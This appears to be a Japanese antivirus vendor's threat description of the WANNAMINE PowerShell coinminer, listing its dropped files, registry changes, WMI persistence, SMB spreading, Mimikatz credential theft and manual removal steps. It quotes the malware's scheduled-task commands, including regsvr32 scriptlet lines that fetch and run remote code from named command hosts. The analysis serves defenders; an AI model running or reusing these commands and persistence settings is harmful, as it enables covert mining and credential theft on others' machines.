Coinminer.PS1.WANNAMINE.C
HEUR:Trojan.PowerShell.Generic (KASPERSKY)
Windows
- マルウェアタイプ: 仮想通貨発掘ツール（コインマイナー）
- 破壊活動の有無: なし
- 暗号化: はい
- 感染報告の有無: はい
概要
コインマイナーは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
コインマイナーは、ソフトウェアに存在する脆弱性を利用して、ネットワーク上で感染活動をします。
コインマイナーは、感染コンピュータ上の特定の情報を収集します。
概要:プログラムは、コンピュータのCPUおよびGPUのリソースを利用して仮想通貨を発掘します。
詳細
侵入方法
コインマイナーは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
インストール
コインマイナーは、以下のファイルを作成します。
- %ProgramData%\Microsoft\Network\Downloader\services.exe (Renamed %User Temp%\nssm)
- %ProgramData%\Microsoft\Network\Connections\OSFMount.sys (Renamed %User Temp%\sys)
- %ProgramData%\Microsoft\Windows\Caches\SecureAssessmentHandlerstor.dll (Renamed %User Temp%\access)
(註：%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。)
コインマイナーは、以下のプロセスを追加します。
- netstat -anop tcp
- %User Temp%\mon.exe -pSwifck
- %User Temp%\min.exe -pSwifck
- %User Temp%\uas.exe -pSwifcks
- %User Temp%\cohernece.exe
- %ProgramData%\Microsoft\Network\Downloader\services install "Event Logs" %ProgramData%\Microsoft\Network\services.exe | Out-Null
- %ProgramData%\Microsoft\Network\Downloader\services install "Event Service" %ProgramData%\Microsoft\Network\Connections\services.exe | Out-Null
- powercfg /CHANGE -standby-timeout-ac 0
- powercfg /CHANGE -hibernate-timeout-ac 0
- powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
(註：%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。. %ProgramData%フォルダは、マルチユーザーシステムにおいて任意のユーザがプログラムに変更を加えることができるプログラムファイルフォルダのバージョンです。これには、すべてのユーザのアプリケーションデータが含まれます。Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\ProgramData" です。Windows Server 2003(32-bit)、2000(32-bit)、XPの場合、通常 "C:\Documents and Settings\All Users" です。 )
自動実行方法
コインマイナーは、以下のサービスを開始します。
- Event Logs
- Event Service
他のシステム変更
コインマイナーは、以下のファイルを削除します。
- %User Temp%\mon.exe
- %User Temp%\min.exe
- %User Temp%\uas.exe
- Files in %System%\Tasks\Microsoft\Windows\.NET Framework
- Files in %System%\Tasks\Microsoft\Windows\PLA\System
- %Temp%\y1.bat
(註：%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。. %System%フォルダは、システムフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows\System32" です。.. %Temp%フォルダは、一時的にファイルが保存されるフォルダで、いずれのオペレーティングシステム(OS)でも通常、 "C:\Windows\Temp" です。.)
コインマイナーは、以下のレジストリ値を追加します。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Windows
RequireSignedAppInit_DLLs = 0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Windows
LoadAppInit_DLLs = 1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Windows
AppInit_DLLs = %ProgramData%\Microsoft\Windows\Caches\SecureAssessmentHandlerstor.dll
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Control\SecurityProviders\WDigest
UseLogonCredential = 1
感染活動
コインマイナーは、以下のソフトウェアに存在する脆弱性を利用して、ネットワーク上で感染活動をします。
ダウンロード活動
コインマイナーは、以下のWebサイトにアクセスし、ファイルをダウンロードします。
- http://{Chosen URL}/ver.txt
- http://{Chosen URL}/nssm.txt
- http://{Chosen URL}/sys.txt
- http://{Chosen URL}/mon.txt
- http://{Chosen URL}/min.txt
- http://{Chosen URL}/access.txt
- http://{Chosen URL}/uas.txt
- http://{Chosen URL}/cohernece.txt
コインマイナーは、以下のファイル名でダウンロードしたファイルを保存します。
- %User Temp%\nssm → Trojan.Win64.MALXMR.R
- %User Temp%\sys
- %User Temp%\mon.exe → Detected as Coinminer.Win64.MALXMR.SMA
- %User Temp%\min.exe
- %User Temp%\access → Detected as HackTool.Win64.Mimikatz.ENU
- %User Temp%\uas.exe → Trojan.Win32.SABSIK.BM
- %User Temp%\cohernece.exe → Detected as TROJ_REDOS.SM2
情報漏えい
コインマイナーは、感染コンピュータ上の以下の情報を収集します。
- Domain credentials
その他
詳細:プログラムは、コンピュータのCPUおよびGPUのリソースを利用して仮想通貨を発掘します。その結果、感染コンピュータの動作が非常に遅くなります。
以下のスケジュールされたタスクを追加します：
- Task name: \Microsoft\Windows\RAC\RacTaskMgr
Task to be run: wmic os get 'http://{Chosen URL}/net/net.xsl' - Task name: \Microsoft\Windows\MUI\LMRemove
Task to be run: regsvr32 /u /s /i:http://cat.{BLOCKED}abi.in/networks.xsl scrobj.dll - Task name: \Microsoft\Windows\Multimedia\SystemEventService
Task to be run: regsvr32 /u /s /i:http://cat.{BLOCKED }jiji.nl/networks.xsl scrobj.dll - Task name: \Microsoft\Windows\PLA\System\{Random characters}
Task to be run: regsvr32 /u /s /i:http://cat.{BLOCKED}shabi.nl/networks.xsl scrobj.dll'
コインマイナーは、以下を実行します。
- TCPポート445の受信トラフィックをブロックするために、netbcという名前のIPSECポリシーを追加します。
- 以下の経路で拡散します。
- SMB
- 以下のURLに接続し、ハッシュ情報を受信します。
- http://{選択されたURL}/nssmhash.txt
- http://{選択された URL}/monhash.txt
- http://{選択されたURL}/minhash.txt
- root\default下に以下のWMIエントリーを作成します。
- System_Anti_Virus_Core (エンコードされたコンポーネントが含まれる)
- root\subscription下に以下のWMIエントリーを作成します。
- CommandLineEventConsumer
- Name: Windows Events Consumer
- CommandLineTemplate: powershell.exe -NoP -NonI -W Hidden -E {エンコードされたスクリプト}
- __EventFilter
- Name: Windows Events Filter
- __FilterToConsumerBinding (上記のCommandLineEventConsumer と __EventFilterを接続する)
- 以下の名前を持つ__EventFilterのWMIエントリーを削除します。
- fuckyoumm3
- fuckamm3
- fuckamm4
- BotFilter82
- BotFilterlog
- BotFilterlogs
- Eventloger
- 以下の名前を持つCommandLineEventConsumer WMI エントリーを削除します。
- fuckyoumm4
- fuckamm4
- BotConsumer23
- BotConsumerlog
- BotConsumerlogs
- Eventloger
- パスに以下の文字列を含む__FilterToConsumerBinding WMIエントリーを削除します。
- fuckyoumm
- fuckamm
- BotFilter82
- BotConsumerlog
- Eventloger
- 名前に "Windows Events "が含まれない__FilterToConsumerBinding WMIエントリーを削除します。
- 以下の中からURLを選択します。
- cat.{BLOCKED}jiji.nl
- cat.{BLOCKED}abi.in
- cat.{BLOCKED}shabi.nl
- 以下のプロセスを終了させます。
- コマンドラインに以下の文字列を含むプロセス
- wmiclass
- cryptonight
- System_Anti_Virus_Core
- ポート80、443、13531への接続が確立されているプロセス
感染PCが32bitの場合、コインマイナーはアクセスしたC&Cに以下をダウンロードし実行します。
- http://{選択されたURL}/networks.ps1
＜補足＞
感染活動
コインマイナーは、以下のソフトウェアに存在する脆弱性を利用して、ネットワーク上で感染活動をします。
ダウンロード活動
コインマイナーは、以下のWebサイトにアクセスし、ファイルをダウンロードします。
- http://{選択されたURL}/ver.txt
- http://{選択されたURL}/nssm.txt
- http://{選択されたURL}/sys.txt
- http://{選択されたURL}/mon.txt
- http://{選択されたURL}/min.txt
- http://{選択されたURL}/access.txt
- http://{選択されたURL}/uas.txt
- http://{選択されたURL}/cohernece.txt
コインマイナーは、以下のファイル名でダウンロードしたファイルを保存します。
- %User Temp%\nssm → 検出名Trojan.Win64.MALXMR.R
- %User Temp%\sys %User Temp%\mon.exe → 検出名Coinminer.Win64.MALXMR.SMA
- %User Temp%\min.exe
- %User Temp%\access → 検出名 HackTool.Win64.Mimikatz.ENU
- %User Temp%\uas.exe → 検出名Trojan.Win32.SABSIK.BM
- %User Temp%\cohernece.exe → 検出名 TROJ_REDOS.SM2
情報漏えい
コインマイナーは、感染コンピュータ上の以下の情報を収集します。
対応方法
手順 1
Windows 7、Windows 8、Windows 8.1、および Windows 10 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。
手順 2
このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム（OS）の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル／フォルダ／レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。
手順 3
「Coinminer.PS1.WANNAMINE.C」を作成またはダウンロードする不正なファイルを削除します。 （註：以下のマルウェアもしくはアドウェア等がすでに削除されている場合は、本手順は行う必要はありません。）
- Trojan.Win64.MALXMR.R
- Coinminer.Win64.MALXMR.SMA
- HackTool.Win64.Mimikatz.ENU
- Trojan.Win32.SABSIK.BM
- TROJ_REDOS.SM2
手順 4
Windowsをセーフモードで再起動します。
手順 5
スケジュールされたタスクを削除する
タスク削除の手順に含まれる{タスク名} - {実行するタスク}には以下が当てはまります。
- \Microsoft\Windows\RAC\RacTaskMgr - wmic os get 'http://{Chosen URL}/net/net.xsl'
- \Microsoft\Windows\MUI\LMRemove - regsvr32 /u /s /i:http://cat.dashabi.in/networks.xsl scrobj.dll
- \Microsoft\Windows\Multimedia\SystemEventService - regsvr32 /u /s /i:http://cat.xiaojiji.nl/networks.xsl scrobj.dll
- \Microsoft\Windows\PLA\System\{Random characters} - regsvr32 /u /s /i:http://cat.xiaoshabi.nl/networks.xsl scrobj.dll'
Windows 2000、Windows XP、Windows Server 2003の場合：
- [スタート]→[プログラム]→[アクセサリ]→[システムツール]→[スケジュールされたタスク]をクリックして、スケジュールされたタスクを開きます。
- 上記の{タスク名} を、[名前]の欄に入力します。
- 入力した{タスク名} 持つファイルを右クリックします。
- [プロパティ]をクリックします。 [実行]フィールドで、表示されている{実行するタスク}を確認します。
- 上記の{実行するタスク}と文字列が一致するタスクを削除します。
Windows Vista、Windows 7、Windows Server 2008、Windows 8、Windows 8.1、およびWindows Server 2012の場合：
- Windowsタスクスケジューラを開きます。
• Windows Vista、Windows 7、Windows Server 2008の場合、[スタート]をクリックし、[検索]フィールドに「taskchd.msc」と入力してEnterキーを押します。
• Windows 8、Windows 8.1、Windows Server 2012の場合、画面の左下隅を右クリックし、[実行]をクリックし、「taskchd.msc」と入力してEnterキーを押します。 - 左側のパネルで、[タスクスケジューラライブラリ]をクリックします。
- 中央上部のパネルで、上記の{タスク名}を[名前]の欄に入力します。
- 中央下部のパネルで、[アクション]タブをクリックします。 [詳細]の欄で、{実行するタスク}を確認します。
- 文字列が一致するタスクを削除します。
手順 6
このレジストリ値を削除します。
警告：レジストリはWindowsの構成情報が格納されているデータベースであり、レジストリの編集内容に問題があると、システムが正常に動作しなくなる場合があります。
レジストリの編集はお客様の責任で行っていただくようお願いいたします。弊社ではレジストリの編集による如何なる問題に対しても補償いたしかねます。
レジストリの編集前にこちらをご参照ください。
- In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
- RequireSignedAppInit_DLLs=0
- RequireSignedAppInit_DLLs=0
- In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
- LoadAppInit_DLLs=1
- LoadAppInit_DLLs=1
- In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
- AppInit_DLLs=%ProgramData%\Microsoft\Windows\Caches\SecureAssessmentHandlerstor.dll
- AppInit_DLLs=%ProgramData%\Microsoft\Windows\Caches\SecureAssessmentHandlerstor.dll
- In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
- UseLogonCredential=1
- UseLogonCredential=1
手順 7
以下のファイルを検索し削除します。
- %User Temp%\sys
- %User Temp%\min.exe
手順 8
コンピュータを通常モードで再起動し、最新のバージョン（エンジン、パターンファイル）を導入したウイルス対策製品を用い、「Coinminer.PS1.WANNAMINE.C」と検出したファイルの検索を実行してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。
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